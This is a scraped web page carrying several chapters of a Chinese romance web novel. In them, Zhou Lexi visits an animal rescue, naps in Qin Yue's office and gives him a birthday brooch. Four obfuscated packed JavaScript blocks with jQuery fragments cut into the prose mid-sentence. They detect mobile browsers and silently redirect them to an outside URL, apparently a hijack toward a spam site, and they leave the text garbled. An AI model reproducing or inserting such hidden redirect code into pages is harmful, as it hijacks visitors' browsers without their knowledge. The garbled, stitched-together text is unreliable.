;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179124|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直腰,像统治猫猫狗狗的教主般阔气一挥:“我是它们的金主姐姐!”
许亭:“……?”
“周小姐?”
平房里走出一位四十来岁的中年女人,见到周乐惜便惊喜地迎上前:“您今天怎么过来了?”
周乐惜笑道:“好久没来了,顺路过来看看。”
“您快里面请,这个季度的账本刚整理好,我正要给您发过去呢。”
周乐惜摆摆手:“不急不急,我不是来查账的,你们我还信不过嘛。”
三花从许亭怀里挣脱,尾巴高高翘起,亦步亦趋地跟在周乐惜身后。
周乐惜瞥见,顺势弯腰将它捞进怀里抱着。
周围的小猫小狗们像是得到召唤,纷纷跟了上去,宛如浩浩荡荡的忠实金主信徒们。
基地的负责人叫萍姐,是周乐惜两年前认识的,当时救助中心濒临倒闭,萍姐上网发帖求助。
恰好被爱冲浪的周乐惜刷到了。
了解情况后,周乐惜便开始主动长期资助,一开始是按月打款,后面救助中心招了两个爱猫狗,脑子也灵活的大学生,开始靠网络直播和拍摄视频,接广告赚钱。
基地渐渐有了自己的收入,萍姐便不肯再收周乐惜的钱,周乐惜便改成一个季度固定捐赠。
办公室里,萍姐跟周乐惜讲最近的运营情况。
周乐惜摸着怀里的三花,余光往窗外看:“萍姐,你跟外面那个男孩子熟吗?”
萍姐看过去:“你说许亭?”
周乐惜:“对对对。”
萍姐到底是过来人,一下就懂了:“你今天是专门来找许亭的呀?”
周乐惜:“好久没见你了,也来看看你!”
萍姐笑了,她对周乐惜有感激也有着姐姐对妹妹的喜爱。
小姑娘长得漂亮又善良,一身行头价值不菲,依旧愿意把刚打完架沾着草屑的三花猫抱在怀里。
只要是认识她的人,恐怕没有一个会不喜欢她。
萍姐说:“许亭是咱们这儿的义工,不过他不常过来,每次过来都会给猫狗驱驱虫什么的,不过他性格冷淡,不爱跟人沟通,但对猫狗挺有耐心的。”
周乐惜了然地点点头。
萍姐说:“哎呀,我这正好要给新送过来的十只流浪猫驱虫,这会儿大家都在忙,还没找到人手帮忙。”
周乐惜立刻伸手:“我来!”
周乐惜拿上驱虫剂就出来找许亭了。
许亭看了她两眼,默默接过药盒。
周乐惜就不是个干活儿的主,索性大大方方站在一旁看了,看许亭熟练给猫猫驱虫,看着看着,视线落到了许亭冷白细瘦的手上。
她在心里下意识地比较着,秦越的手要大一些,常年健身骨节也更加硬朗有力。
许亭认真驱虫,一只手忽然伸了过来停在他手边,下一秒,耳边传来女孩带着几分稀奇的声音:“你比我还白耶!”
许亭:“……”
许亭抱着猫移动,背对着她。
周乐惜嘻嘻笑了两声,跟着他挪动,不再逗他,但也没有要帮忙的意思。
许亭也没打算让她驱虫,把全部药盒都放在自己手边。
许亭专心做事,忽然察觉周围异常安静,他下意识抬头,只见一道刺眼的闪光划过眼前,伴随着清脆的咔嚓声响。
许亭:“……”
周乐惜一点都没有被人发现偷拍的窘迫,而是眨着眼睛求问:“可以拍吗?”
可以吗可以吗。
许亭忽然发现,他对周乐惜,说不出不可以三个字。
周乐惜发了六宫格朋友圈。
五张是猫猫狗狗,第六张是周乐惜抱着三花猫和它一起自拍,照片右侧,露出许亭的一个虚影。
秦越看见这张照片时,人还远在京市,相隔千里,鞭长莫及。
结束了一天忙碌而乏味的公事应酬后,陪伴着他的,只有酒店窗外万籁俱寂的深夜。
男人单手扯开领带,松垮的领口下喉结滚动,深眸暗色翻涌。
顶着一张冷戾而倦怠的脸陷进沙发,他用指腹摩挲着手机屏幕,沉默无声地盯着这张照片。
往后,随着他们关系的深入,这样的照片只会越来越多地出现在周乐惜的朋友圈。
酒液滑入喉咙,冰凉刺骨。
他的心里住着一头野兽,受管制的项圈一直握在周乐惜手中,她只需轻轻一拽,他便能感知到彼此的羁绊,她始终在他身边。
可现在,她忽然松开牵引,目光越过了他。
她不知道,当野兽失去束缚,那些被长久压抑的兽性便会苏醒,会回归本性,会露出獠牙,会宣示主权。
会将她彻彻底底占有。
7. 你生日
黑色轿车提前等候,看见那道熟悉的身影从VIP通道出来,司机立刻上前打开后座车门。
于格跟着坐进副驾位,系好安全带。
犹豫片刻,他还是回头问道:“秦总,送您回家休息还是?”
“回公司。”后排传来的声音平静冷肃,秦越西装笔挺,垂眸翻阅文件。
于格只好示意司机开车,他也打起精神,快速编辑会议通知群发。
秦越走进会议室,低声交谈的参会人员迅速安静,他径直走向主位,落座,掀眸扫过众人:“开始。”
无须多余的开场白。
会议全程高效,最后一个方案确定,两小时过去。
秦越合上文件,起身离开,步伐神色沉稳如松,丝毫看不出已经几天连轴转的疲惫。
-
日光透过纱帘照进卧室。
周乐惜还没起床,昨晚和乌灵看电影喝了一整杯柠檬茶,导致半夜翻来覆去睡不着,天蒙蒙亮才眯了一会儿。
手机铃声在响,周乐惜闭着眼睛用手摸,抓到了,贴在耳边:“干嘛?”
沈惠心是南方人,周乐惜随了母亲,一把甜美的嗓音带着刚睡醒的绵软气音,再凶巴巴,听起来也像撒娇。
“还没起?”这边,秦越似是没料到,他看了眼腕表:“继续睡,晚点再打给你。”
男人嗓音低沉,字里行间全是温和迁就。
“起了。”周乐惜的炸毛立刻被摸顺,她打了个哈欠,揉着眼睛含糊应他。
秦越:“那中午陪我吃饭?”
周乐惜睁开眼:“你回来了?”
“嗯。”
“不是没这么快吗?”
“事情不多。”
周乐惜伸了个懒腰:“吃饭可以,你得来接我,我不想开车。”
“好。”秦越笑。
挂断电话,周乐惜又在床上赖了一会儿才慢悠悠爬起来。
趿拉着拖鞋进衣帽间,随手抓了条套头的衬衫裙换上。
洗漱完,周乐惜只往脸上喷了保湿的喷雾,素面朝天,反正只是和秦越吃饭,她不用特意打扮,舒服又自在。
以为会让司机来接,没想到是秦越本人,钻进副驾,周乐惜乖巧端坐:“秦总,我听说你们信恒的食堂聘请的都是米其林星级厨师,菜式很不错呢?”
她的醉翁之意,他如何不知。
秦越握着方向盘,语气平静:“我过去,他们会吃得拘谨。”
“……也对哦。”周乐惜撇了撇嘴。
车子驶出小区,秦越看她一眼,随口提起动物救助基地的事。
“我不负责具体管理,就只投钱。”
因为失去过小狗,周乐惜就再也没养过任何小动物,哪怕一条金鱼。
因而对救助基地,她只是当一个冷漠的ATM。
尽管她能认出基地至少三分之一的猫猫狗狗,能叫出它们的名字,但也仅限于此。
她不想再投入感情,因为小动物的寿命太短暂,她害怕离别。
秦越侧头看她:“所以你大学毕业后急着创业,就是为了这个?”
“不然呢,你以为我是为了花天酒地呀?”周乐惜眨眨眼:“我又不是厉旭。”
被秦越留在京市处理后续的厉旭打了个大喷嚏。
“那怎么从来不跟我说?”
他自认对她了如指掌,把她放在眼皮底下,竟不知道这件事。
周乐惜喜欢发朋友圈,分享生活,美食,旅行,追星,以及晒一些心头好。
就像提了新车,她会发朋友圈,夸周晖是世界上最好的爸爸。
周晖表面不为所动,背地里和老友聚会,总会不经意地拿出手机,又不经意地刷到女儿的朋友圈,再不经意地递给老友们看。
周乐惜花家里的钱,从来都花得心安理得,给的情绪价值也是满满当当。
她是娇气包,也是贴心袄。
但动物救助基地一直是周乐惜自己默默在做的事。
聘请宠物医生,护士,照顾猫狗的员工,还有运营基地公众号的人员。
前两年,周乐惜几乎是往里头砸钱,得知爪爪基地的地址后,还有很多人半夜把猫狗放到门口弃养,无底洞似的花钱。
后来猫猫狗狗们被养得很好,她也从没发出来炫耀。
“这是我自己想做的事,跟你说了你肯定会给我打钱。”
不光他,周乐惜也没让家里人知道。
周乐惜耸耸肩:“反正我不够聪明不会赚钱,但我大方又善良啊,那么多优点也不能全部都让我拥有的!”
秦越听了,忍不住轻笑出声。
周乐惜唰地一下扭头,鼓起腮帮瞪他:“干嘛,难道我说的不对?!”
车子停在餐厅门口。
秦越解开安全带,倾身过来揉了揉她的脑袋,嗓音低沉:“对,我们惜惜善良又大方。”
男人手掌宽大,将她的发顶整个包拢在掌心里。
她自恋闹着玩儿,没料到秦越会这么认真地夸她,耳根就是一热,脸上也泛起红晕。
秦越看着她的变化,目光深邃。
指腹顺着发丝滑下,不经意便碰到了她的耳垂。
触碰很轻,周乐惜却一颤。
耳朵是她最敏.感的地方。
秦越眸色微暗。
周乐惜丝毫没有察觉,只是被夸得脸皮薄,故作淡定地哼了哼,一把挥开他的手,率先开门下车了。
秦越在车里等了几秒,才下车。
-
餐厅在顶层,靠窗的双人位。
周乐惜早餐没吃睡到现在,早就饿了,她拿过菜单开始点。
秦越坐在她对面,听她念菜名,有她喜欢吃的,也有他喜欢吃的。
他了解她,她同样了解他。
他们本就是不可分开的。
秦越喝了口茶,周乐惜抬头问他要不要加,秦越示意她做主。
周乐惜翻页,最后加了道蟹肉浓汤。
她不爱喝汤,秦越喜欢。
吃完饭,一点。
秦越自然是要回公司上班,他问周乐惜:“送你回家?”
周乐惜放下餐巾纸,笑嘻嘻道:“我下午没事,跟你回信恒吧!”
她脸上明晃晃写着:想去找许亭。
秦越视线在她脸上停留片刻,波澜不惊起身:“走吧。”
电梯下行至四楼,一对夫妻推着婴儿车走进来。
婴儿车很大,电梯不够宽。
小孩儿活泼好动,两条小腿踢蹬出来,两只脚的鞋底还沾着点泥渍。
秦越抬手,把周乐惜往自己身前轻轻拢了拢。
距离缩短,周乐惜闻到了他身上淡淡的清洌气息,依旧是她送他的香水。
周乐惜目光平视。
秦越垂眸:“在看什么?”
周乐惜戳了戳他的领带:“是我送的?”
秦越:“嗯。”
周乐惜视线下移:“袖扣好像也是我送的。”
“嗯。”秦越眸色更深,薄唇噙笑:“还有呢?”
“还有吗?”周乐惜歪了下脑袋,好像在玩寻宝小游戏。
电梯很安静,他们低低的交谈声自然也落入了那对夫妻耳中。
妈妈低声对爸爸说:“年轻小两口感情就是好啊。”
爸爸:“羡慕什么,我们当年不也这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179125|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你还逼我穿情侣装呢。”
妈妈嗔爸爸一眼:“什么叫逼你?”
爸爸:“好好好,是我自愿就范的。”
二楼到了,夫妻推着婴儿车出去了。
电梯门闭合,空间重归安静。
周乐惜眨了眨眼,抬头看向秦越:“他们好像误会了……”
秦越:“误会什么?”
周乐惜:“你没听见?”
秦越看着她:“注意力没在别人身上。”
-
回到信恒,还没到上班时间。
周乐惜跟在秦越身后,她下意识瞥一眼许亭的工位,空荡荡的。
不一会儿,秘书端着茶点进来。
周乐惜吃得很饱,但还可以喝一喝。
大夏天的,她离不开冰饮。
秦越有公事电话进来,周乐惜便自顾自地坐在沙发上玩手机。
玩了会儿,上班时间到了。
秦越依旧站在窗前讲电话,背对着她。
周乐惜放下饮料,轻轻起身,蹑手蹑脚地往外溜。
几乎同时,秦越转过身,目光沉静地盯着她的背影。
总裁办的其他人已经陆续就位,可许亭的位置依然空着。
周乐惜扫视一圈。
瞧见于格,她走过去。
于格:“哦,许助理出去送合同了。”
周乐惜轻轻啊了声:“这么巧,那他什么时候回来?”
于格抬腕看了眼表:“应该没个一小时回不来。”
周乐惜:“哦……”
于格错眼看向秦越的办公室:“秦总在里面吗?”
周乐惜:“嗯,我跟他一起过来的。”
于格顿了顿,欲言又止:“秦总在京市连着忙了好几天,昨晚更是熬到半夜,今早刚下飞机就直接来了公司,连休息的时间都没有,又忙了一上午……周小姐,您要不然,劝一劝秦总?”
这番话听得周乐惜一愣:“他明明跟我说事情不多啊……”
于格闻言,顿时从心底生出了浓浓的敬畏和崇拜:“可能对秦总来说,这点工作量确实不算多吧!”
周乐惜皱起眉:“再怎么厉害也是个人,又不是机器。”
这么忙还非要接她吃午饭……真是……
周乐惜走进来,刚好看到秦越用指节抵着眉骨揉了揉。
秦越看她疾步匆匆,脸色也臭,他扯着薄唇,语气里添了几分克制不住的冷:“怎么,许助理不在,就不高兴了?”
周乐惜快步走到他身侧,二话不说啪的一声就合上了他的电脑:“你去休息!”
秦越一怔,随即挑眉,目光落在她紧蹙的眉头上:“我休息了,事情谁帮我做?”
周乐惜直接伸手拽住他的胳膊,微微用力:“你给我起来!”
以她的力气哪里拽得动他,他甚至只要反向施力,她整个人便会栽倒在他腿上。
秦越勾起唇,由着她拔萝卜似的动作缓缓站起身。
“我来帮你做行了吧!”周乐惜一屁股坐进他的椅子。
秦越垂眸看她。
周乐惜:“干嘛,信不过我?我只是帮你审批文件,又不动你的资金,不会破产的。”
秦越肩线放松靠在桌边,嗓音低沉而从容:“你随意动,真弄垮了,我也能给你兜着。”
他有的是给她撑腰的资本和能力。
周乐惜哼了哼:“行了,你快去休息吧,别打扰我工作。”
秦越低笑一声:“嗯。”
周乐惜重新掀开他的电脑盖。
她抬头:“密码多少?”
秦越看着她的眼睛,语气仿佛很是寻常:“你生日。”
8. 零距离
她的生日……
周乐惜愣住了。
一直以来她还真不知道秦越的电脑密码,她偶尔碰上要用电脑,跟他借,他都是输入密码再给她的。
周乐惜挠挠耳朵,转念又一想,她的生日是一月十,0110,用来当密码还挺好记的。
周乐惜输入数字,解锁,看着屏幕上密密麻麻的文字,她深吸口气,打起精神。
半小时后。
一小时后。
一个半小时后。
工作真不是人干的!
周乐惜打了不知道多少个哈欠,这会儿眼睛已经是半待机状态在看这份并购案补充协议。
电梯抵达顶层,许亭带着签署好的文件走进于格的办公室。
于格正在整理一堆报表,看他一眼便低头继续忙:“你直接进去汇报给秦总吧。”
许亭点点头,出去了。
走到磨砂玻璃门前,抬手轻叩两下,推门而入。
午后,室内光线柔和。
许亭习惯性地把视线投放到靠窗那张办公桌上。
然而看到的却是趴伏在桌面睡着的周乐惜,乌黑如瀑的长发垂散,一边脸颊被挤压着,姿态娇憨。
就像开在盛夏清池里的一朵粉荷。
许亭脚步顿住,视线偏转。
这才注意到这间办公室真正的主人坐在真皮沙发里,脊背后靠,长指翻动文件,神情闲适。
“不用汇报,给我吧。”秦越看向许亭。
意思再明显不过,别吵醒周乐惜。
在秦越这里。
任何事都越不过周乐惜。
许亭垂首,默默将合同递过去,随即无声地退出办公室。
秦越的目光从合同上移开,淡淡扫过门口方向,沉默片刻,他合上文件,拿出手机给人资负责人发了几条通知。
收起手机,秦越站起身。
小姑娘睡得很沉,脑袋歪着趴在交叠的手臂上。
能坚持工作一个半小时,已经很厉害。
秦越无声笑笑。
他倒是不介意继续在沙发上处理工作,但她这样睡下去,用不了多久肩膀和脖子就会酸痛发麻。
秦越俯身,双臂穿过她的腰背,将她从椅子上抱了起来。
他动作放得极轻。
抱她的姿势也分外熟练。
周乐惜微微皱眉,长睫也随之颤了颤,却没有被吵醒。
像是本能察觉到是谁在抱自己,她转着脸,下意识往他怀里缩了缩。
看着她毫无防备的依赖,秦越眸色微暗,一时,真不知该高兴还是无奈。
将人抱进休息室,轻放在床上。
床很大,显得她格外娇小,安静仰躺在枕头上,双手摊开,很乖。
秦越坐在床边,目光落在她散落的发丝上,有一缕贴着脸颊。
他伸出手,用指腹轻轻拨开那缕头发。
手指悬在她脸颊上方。
周遭安静得针落可闻。
最终,他还是轻轻碰了下去。
沿着她的侧脸,挺翘的鼻梁,最终停在她的眼尾,轻轻一碰。
她的眼睛如星辰浩瀚,里面有他,却不只有他。
他神色冷静,动作轻柔,像在轻抚一件稀世珍宝,然而看似无波的深海平面,内里早已汹涌翻腾。
他养大的宝贝,怎么不是属于他的。
-
许亭坐回工位,沉默着继续处理待办事项,目光却不受控地瞥向那扇紧闭的办公室玻璃门。
就在这时,电脑右下角突然弹出一条集团内部群发消息。
关于各部门空缺岗位的优先内部竞聘通知。
许亭动作微顿,最终还是点开来。
“你想参与内部竞聘?”于格抬头看向来人。
许亭:“嗯。”
于格思索片刻,客观评价道:“比起总裁办,以你的性格的确更适合一门心思埋头搞技术。”
于格:“不过,我能知道原因吗?”
许亭默了默,没有立即回答。
于格观察着他的表情,又看了看他身后的走廊,稍微压低声音:“你该不会是为了躲周小姐吧?”
许亭要竞聘的岗位在下面的技术部,对周小姐来说,肯定不比出入顶层自在,她就没那么方便随时找过去了。
许亭微僵:“……不是。”
于格盯着他看了两秒,见他并不想说,他也不再追问,只叮嘱他提交资料,然后等待面试通知。
-
周乐惜睡醒犯迷糊,环顾四周想了会儿才认得这是秦越的休息室。
她慢悠悠坐起身,一抬眼,看到了靠在不远处沙发上闭目养神的秦越。
鸠占鹊巢了。
本该他睡床的,却被自己霸占着。
淡淡光影从百叶窗照进来,拢着男人轮廓分明的侧脸。
领带拆了扔在一边,衬衣领口的扣子也解了两颗,整个人看起来很散漫。
人前的秦越西装革履,威严冷漠,现在这副松弛的样子也只有身边亲近的人才能见到。
周乐惜下了床,轻手轻脚走过去,看到的是一张英挺冷峻的脸,别说疲惫感,连一丝黑眼圈她都没瞧见。
“难怪有这么多人崇拜你……”
人都是慕强的,周乐惜也不例外,她之所以无条件信赖秦越,是打心底认为无论什么事儿求到秦越面前,他都能应承她。
周乐惜弯着腰,脚步不自觉走近,结果没注意到秦越伸出来的长腿,一下就被绊了个正着。
“——啊!”
整个人不受控制地向前扑去,周乐惜结结实实地跌进了秦越怀里。
他坚实的胸膛像堵墙,撞得周乐惜闷哼一声。
“……腿长这么长干嘛!”她趴在他胸口,小声抱怨。
下一瞬,一只大手虚扶在她后腰,嗓音低哑:“把我砸坏了,你得负责。”
温热的气息拂过发顶,周乐惜猛地抬头,撞见一双黑曜石般沉静的眸子,正定定地看着她。
周乐惜一时间忘了动,张了张唇,傻傻地看着他。
秦越也没再说话,揽着她腰,与她对视,彼此零距离相贴。
中央空调吹动百叶窗的叶扇,一抹反光晃过眼前,周乐惜瞬间反应过来。
“怎么可能把你砸坏,我哪有那么重!我又不是铁锤!”
她似乎有些慌忙,从他怀里挣脱着爬起来,站好。
秦越看着她,笑了笑,挺腰坐直,抬手揉了揉太阳穴。
周乐惜见状,犹豫片刻,放轻声音:“你…真被我砸疼了?胸口疼不疼?我…帮你揉揉?”
这话听起来像个小变态,一双眼睛却亮晶晶的,唯有关切,纯良无害。
当真气人。
秦越睨她一眼,淡淡道:“没那么脆弱。”
“哦……”
周乐惜应了一声,挠挠耳后。
她像是突然想起什么似的:“对了,灵灵约了我吃晚饭,我先走了。”
转身往外走了两步,周乐惜没忍住又回头,一本正经地叮嘱:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179126|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得劳逸结合,别太累,不然会老得很快的!”
乌灵最近在追一位清冷正直的大学教授,哪有空约她,周乐惜不过是找借口想回家继续做生日礼物。
秦越既然回来了,她就想赶紧把礼物送出去,不然总感觉心里惦记着一件事。
秦越盯着她的背影。
小姑娘风风火火地走了,最后留下的那句话,简直像恶魔低语。
许亭比她小两岁。
而他……年长她三岁。
秦越坐了片刻,从沙发上站起身,走向穿衣镜,目光复杂地端详自己。
拎着包从秦越办公室出来,周乐惜下意识朝许亭的办公位望了一眼。
依旧空荡荡的,大概人还没回来,她没再停留,默默转身。
进了电梯,周乐惜斜倚着扶手。
手指反复捏着树懒包挂,整个人有点儿心不在焉。
从秦越休息室出来时,她走得似乎有些急。
周乐惜抿了抿唇。
眼里升起一丝茫然。
下到负一,周乐惜走出电梯厅,这才想起来自己今天没开车。
正呆着,一辆黑色库里南缓缓开到了她面前,司机下车,恭敬地替她打开车门,微笑道:“周小姐,秦总让我送您。”
秦越还真是一如既往,像亲哥照顾妹妹一样把大小事都给她安排妥当。
周乐惜心里一暖,弯腰上车。
库里南驶入车流,后座安静,周乐惜转头看向窗外,思绪渐渐飘远。
再顺遂的人生,也会有不可控的至暗时刻发生,更何况周乐惜并非是个老老实实的乖小孩儿。
周乐惜印象最深的至暗时刻,是小时候和妈妈去参加一位伯伯的庄园乔迁派对。
宾客们都在前院。
周乐惜无聊,悄悄溜到了后院。
那位伯伯在后院养了一只狮型獒。
周乐惜第一次见到这种獒犬,好奇又兴奋。
见它耷拉着耳朵,安静地趴在草地上,她以为它性情温顺,于是不由自主地,越靠越近。
可是没想到,性情的确乖顺的藏獒嗅到了周乐惜身上的气味,忽然变得暴躁起来,一声怒吠吓得她一个激灵,踉跄着摔倒在了草地上。
眼见獒犬龇牙咧嘴逼近,周乐惜脸色惨白,吓得连哭都哭不出来。
“——惜惜!!”
就在这时,秦越的声音传了过来。
那只原本凶性大发的藏獒竟然像遇见了天敌似的,瞬间夹着尾巴跑开了。
周乐惜抬头,看见朝自己急切跑过来的秦越,看见他眼里浓浓的关切,心疼和安抚。
她再也忍不住,眼泪一下子涌了出来,扑进他怀里,紧紧搂住他的脖子,哇哇大哭。
她浑身发抖,哭得抽抽搭搭,然而哭着哭着,又忍不住仰起脸,在泪水朦胧中寻找他的眼睛,听见他的嗓音贴着她的耳畔,低沉又温柔。
情绪慢慢被安抚,但依旧止不住泪。
她哭一会儿,就要抬头去看秦越,接收他眼中浓浓的关切,令她充满安全感。
这些年,秦越看她的眼神,依然带着庇护,包容,以及沉稳可靠的温柔。
而不是像刚才那样,那双分明熟悉的眼睛变得深沉晦暗,多了许多周乐惜看不懂的情绪在里面。
他滚动的喉结,她的手心压住他胸口时那阵骤然加快的心跳。
可这一切,又仿佛只是一瞬。
转瞬即逝。
周乐惜茫然地想。
或许……是她看错了吧。
9. 有惜惜
精益求精多日,周乐惜终于做好了送给秦越的生日礼物,她将礼物轻轻托起放到灯下,仔细欣赏一番,再次感叹自己的绝妙审美。
周乐惜准备把礼物送出去。
恰好今晚邵氏集团要举办客户答谢晚宴,邵家和周家一直都有紧密的合作,周敏宜自然收到了邀请函。
秦越和邵家的新任掌权人交情匪浅,也在受邀之列。
傍晚,邵家旗下的私人俱乐部大门外豪车云集,黄昏将这栋建筑染成了贵气的鎏金色。
[在哪?]
[后花园。]
[等我,我来啦!]
厉旭昨儿晚上才从京市回来,补觉到今天下午,那双风流倜傥的桃花眼已然恢复神采。
厉旭单手插兜,另一只手转着酒杯,抿了一口,侧眸看向身旁人:
“哥,不用问,一看你这表情我都知道是谁给你发消息。”
秦越淡然收起手机:“说明你视力不错。”
厉旭:“……”
果不其然,周乐惜出现了。
周乐惜本就生得白,今天难得精心打扮,一袭浅青色礼服穿在身上像初春枝头抽芽般的嫩。
她今天的唇色是淡淡的蜜桃色,像柔软的果肉,一张脸带着不谙世事的清澈,从周围各种西装革履,珠光宝气的成熟精英里穿过,就像一颗误入人间的露珠。
在海市,周家虽然远不能和秦家比肩,但周家往上数三代都是信誉闻名的儒商。
周乐惜长得漂亮,出身又好,她一出现,周围便多了许多蠢蠢欲动的眼神。
被她那张脸晃了心神,有人就要上去搭讪,然而还没抬脚,便被身边人拽住肩膀低声提醒。
“周家二小姐你也敢招惹,她身后可是秦家那位……”
那人瞬间如梦惊醒,打消旖旎念头。
后花园宾客不少,周乐惜扫视一圈才捕捉到目标,她快步过去。
自动忽视旁边的厉旭,周乐惜打开手包拿出一个礼盒递了过去。
“今年的生日礼物!”
她双眼含笑地看向面前男人。
秦越接过礼盒,打开便看到了一枚十分闪耀的蓝宝石胸针。
胸针的设计理念来自于‘国王的权杖’,蓝宝石为顶端的主石,铂金镶边的权柄上面用了十八颗白钻点缀。
厉旭只看过来一眼,便不由自主地前倾身体:“你自己设计的?”
周乐惜微抬下巴:“别太崇拜。”
厉旭:“……”
厉旭明示她:“我生日也快到了。”
周乐惜:“知道知道。”
厉旭:“我也要这个。”
周乐惜一根手指摇了摇:“那你别想了,这是独一无二的,只有秦越才有!”
周乐惜不再理他,歪着脑袋一脸期待地看向秦越:“怎么样,你喜欢吗?”
秦越看着她,嗓音喑哑:“喜欢。”
更喜欢她那句,独一无二。
“帮我戴上。”秦越取出胸针。
厉旭闻言看了他一眼,然后很识趣地默默平移了几步,看似侧对着,实则悄悄从腋下伸出了手机摄像头。
周乐惜正了正胸针,后退两步端详一番,满意点头。
蓝宝石颜色通透,就像不可冒犯的深海,沉静威仪,和秦越清冷的气场很相配。
周乐惜还发现秦越今天系的领带同样是她送的,他浑身上下都有她的印记。
这种认知让周乐惜有种自己全然独占秦越的感觉。
“那我去陪姐姐了。”
周乐惜轻快转身,裙纱摇曳。
“不用谢。”厉旭平移回来,晃了晃手机。
秦越打开手机,照片里,彼此近在咫尺,他垂眸望着她,她看向胸针,用两只手认真为他佩戴。
要是两家长辈从小就给他们订了娃娃亲,等她二十岁那年,他会正式向她求婚,今时今日他们站在一起,便会被赞一句:郎才女貌,天造地设。
秦越缓慢抬眼,目光沉沉地锁住那道纤细的身影,直到她进入宴厅。
宴厅里,周敏宜和一位身着红色礼服裙的年轻女人在讨论新项目。
邵梓看见她,红唇微扬:“乐惜,好久不见。”
周乐惜握着酒杯与她轻碰,落落大方:“邵梓姐。”
邵梓抿了口酒,余光看见从后花园走进来的男人,她道:“先失陪了。”
周敏宜:“请便。”
周乐惜鲜少出席这种商务宴席,周敏宜怕妹妹不习惯:“要是待不住,就让司机先送你回去,姐姐一个人没问题。”
周乐惜:“不要,说好陪你的,我等你。”
周乐惜催促她去忙就行,她自己到处逛逛,不愁打发时间。
周敏宜笑笑:“那好吧,那边有几个合作伙伴,姐姐过去打声招呼。”
周乐惜:“去吧去吧。”
周敏宜又摸了摸妹妹的小脸,过去了。
那边,秦越一进宴厅周围立刻便聚集了不少人,这种时候周乐惜一般不过去凑热闹。
拎着酒杯往甜品台走,然而扫视一圈,并没有周乐惜爱吃的。
她嘴挑,从不将就,好在今晚的酒不错,周乐惜又喝了两口。
厉旭走了过来,靠在周乐惜身边,晃着酒杯侧眸看她:“秦越和邵梓站一块儿,般配吗?”
闻言,周乐惜抬眸看过去。
秦越身边围着四个人,邵梓是其中之一,她端着酒杯,笑容得体。
然而那位众星捧月的座上宾,神色却淡漠如常。
邵梓第一眼就注意到秦越今天佩戴的胸针,忍不住开口问道:“秦总,不知是哪个品牌的设计?”
提及此,秦越那张冷淡的脸上有了轻微的松动,他淡淡勾唇,嗓音低沉而简短:“私人订制。”
周乐惜扭头:“什么意思?”
厉旭见她眼里没有任何波动,甚至连一丝疑似吃醋的迹象都寻不到,不禁在心里默默给好兄弟点蜡。
厉旭笑着耸了耸肩:“没什么,随便问问~”
周乐惜:“莫名其妙。”
不鸟他,她走开了。
夜风起,晚宴结束,顾洲白开车来接周家两姐妹。
车灯照亮石阶,顾洲白远远朝秦越和厉旭点头打招呼,便上了车。
厉旭拿出打火机咔嗒一声点了根烟,他低声调侃:“哥,你现在是不是很羡慕洲白哥有名分?”
秦越沉默,看着开远的车子,深邃的目光穿透夜色,无声却笃定。
-
九月第一天,秦越生日。
周乐惜怕自己起太晚,特意调了早上九点的闹钟。
铃声一响,她抱着被子滚过去,伸手摸到手机,拨通了秦越的电话。
“秦越哥哥,祝你二十七岁生日快乐!每天笑嘻嘻!”
少女嗓音清亮,带着点刚睡醒的慵懒,尾音却高高上扬,很有生命力。
秦越沉笑:“听到了。”
他不用每天笑嘻嘻。
他只想每天有惜惜。
周乐惜:“你想要什么礼物呀?”
秦越:“不是送过了?”
周乐惜:“胸针是我想送的,我现在是问你想要的,不一样的。”
电话那端沉默两秒。
秦越唤她:“惜惜。”
“你说。”周乐惜竖起耳朵听。
“你今天一天的时间都给我。”
周乐惜愣了下,瞬间反应过来:“你想使唤我一天?”
学生时代谁过生日谁当老大的游戏,其他人得乖乖听安排,从早安排到晚,不过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179127|196932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不敢太过分,毕竟等轮到自己生日对方就要倒霉了。
“不会使唤你。”秦越轻笑。
周乐惜一听反而来劲了:“随便你吩咐我也不怕!那我现在起床,然后去找你,你在公司吗?今天可是周末,该不会还要加班吧?”
“在家。”秦越答。
